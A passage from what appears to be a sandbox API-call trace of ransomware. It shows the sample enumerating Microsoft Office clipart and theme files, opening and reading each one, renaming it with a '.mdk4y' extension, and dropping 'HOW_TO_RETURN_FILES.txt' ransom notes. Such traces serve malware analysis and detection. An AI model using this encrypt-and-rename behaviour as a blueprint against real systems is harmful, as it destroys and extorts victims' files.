returned 1 [0176.000] AreFileApisANSI () returned 1 [0176.000] GetACP () returned 0x4e4 [0176.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02201_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02201_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0176.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0176.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825123100000) returned 1 [0176.001] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1653, lpOverlapped=0x0) returned 1 [0176.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825123500000) returned 1 [0176.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825123500000) returned 1 [0176.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.mdk4y")) returned 1 [0176.006] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.006] AreFileApisANSI () returned 1 [0176.006] GetACP () returned 0x4e4 [0176.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02214_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02214_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0176.006] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0176.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825123600000) returned 1 [0176.007] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x136b, lpOverlapped=0x0) returned 1 [0176.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825124700000) returned 1 [0176.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825124700000) returned 1 [0176.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.mdk4y")) returned 1 [0176.019] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.019] AreFileApisANSI () returned 1 [0176.019] GetACP () returned 0x4e4 [0176.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02218_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02218_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0176.019] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0176.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825125000000) returned 1 [0176.020] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbc4, lpOverlapped=0x0) returned 1 [0176.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825125100000) returned 1 [0176.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825125100000) returned 1 [0176.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.mdk4y")) returned 1 [0176.022] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0176.022] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0176.022] AreFileApisANSI () returned 1 [0176.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0176.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0176.023] GetFileType (hFile=0xd8) returned 0x1 [0176.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0176.024] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0176.024] AreFileApisANSI () returned 1 [0176.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad710, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0176.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0176.025] GetFileType (hFile=0x12c) returned 0x1 [0176.025] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0176.025] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0176.026] AreFileApisANSI () returned 1 [0176.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9898, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0176.026] GetFileType (hFile=0x128) returned 0x1 [0176.027] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0176.027] AreFileApisANSI () returned 1 [0176.027] GetACP () returned 0x4e4 [0176.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Document Themes 14", cchWideChar=18, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="Document Themes 1447pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 18 [0176.027] AreFileApisANSI () returned 1 [0176.027] GetACP () returned 0x4e4 [0176.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned 53 [0176.033] AreFileApisANSI () returned 1 [0176.034] GetACP () returned 0x4e4 [0176.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 1 [0176.034] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.035] AreFileApisANSI () returned 1 [0176.035] GetACP () returned 0x4e4 [0176.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 2 [0176.035] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.035] AreFileApisANSI () returned 1 [0176.035] GetACP () returned 0x4e4 [0176.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adjacency.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Adjacency.thmxVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.035] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825126600000) returned 1 [0176.036] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd0aa, lpOverlapped=0x0) returned 1 [0176.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825127300000) returned 1 [0176.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825127300000) returned 1 [0176.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.mdk4y")) returned 1 [0176.045] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.045] AreFileApisANSI () returned 1 [0176.045] GetACP () returned 0x4e4 [0176.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Angles.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Angles.thmxhmx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.045] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825127600000) returned 1 [0176.046] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x11098, lpOverlapped=0x0) returned 1 [0176.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825128900000) returned 1 [0176.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825128900000) returned 1 [0176.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.mdk4y")) returned 1 [0176.061] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.061] AreFileApisANSI () returned 1 [0176.061] GetACP () returned 0x4e4 [0176.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apex.thmx", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Apex.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 9 [0176.061] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825129200000) returned 1 [0176.062] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3f427, lpOverlapped=0x0) returned 1 [0176.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825132200000) returned 1 [0176.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825132200000) returned 1 [0176.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.mdk4y")) returned 1 [0176.096] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.096] AreFileApisANSI () returned 1 [0176.096] GetACP () returned 0x4e4 [0176.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apothecary.thmx", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Apothecary.thmxQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 15 [0176.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825132700000) returned 1 [0176.097] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x15a56, lpOverlapped=0x0) returned 1 [0176.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825134100000) returned 1 [0176.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825134100000) returned 1 [0176.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.mdk4y")) returned 1 [0176.114] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.114] AreFileApisANSI () returned 1 [0176.114] GetACP () returned 0x4e4 [0176.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aspect.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Aspect.thmxthmx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.114] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825134600000) returned 1 [0176.116] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x109e5, lpOverlapped=0x0) returned 1 [0176.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825135000000) returned 1 [0176.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825135000000) returned 1 [0176.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.mdk4y")) returned 1 [0176.125] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.125] AreFileApisANSI () returned 1 [0176.125] GetACP () returned 0x4e4 [0176.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Austin.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Austin.thmx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.125] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825135600000) returned 1 [0176.126] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1763b, lpOverlapped=0x0) returned 1 [0176.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825136700000) returned 1 [0176.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825136700000) returned 1 [0176.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.mdk4y")) returned 1 [0176.140] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.140] AreFileApisANSI () returned 1 [0176.140] GetACP () returned 0x4e4 [0176.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Black Tie.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Black Tie.thmxx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825137100000) returned 1 [0176.141] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x9ff03, lpOverlapped=0x0) returned 1 [0176.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825138700000) returned 1 [0176.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825138700000) returned 1 [0176.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.mdk4y")) returned 1 [0176.163] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.163] AreFileApisANSI () returned 1 [0176.163] GetACP () returned 0x4e4 [0176.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Civic.thmx", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Civic.thmxthmx", lpUsedDefaultChar=0x37dfd8) returned 10 [0176.164] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825139500000) returned 1 [0176.165] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x18c11, lpOverlapped=0x0) returned 1 [0176.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825140100000) returned 1 [0176.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825140100000) returned 1 [0176.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.mdk4y")) returned 1 [0176.173] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.173] AreFileApisANSI () returned 1 [0176.173] GetACP () returned 0x4e4 [0176.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Clarity.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: 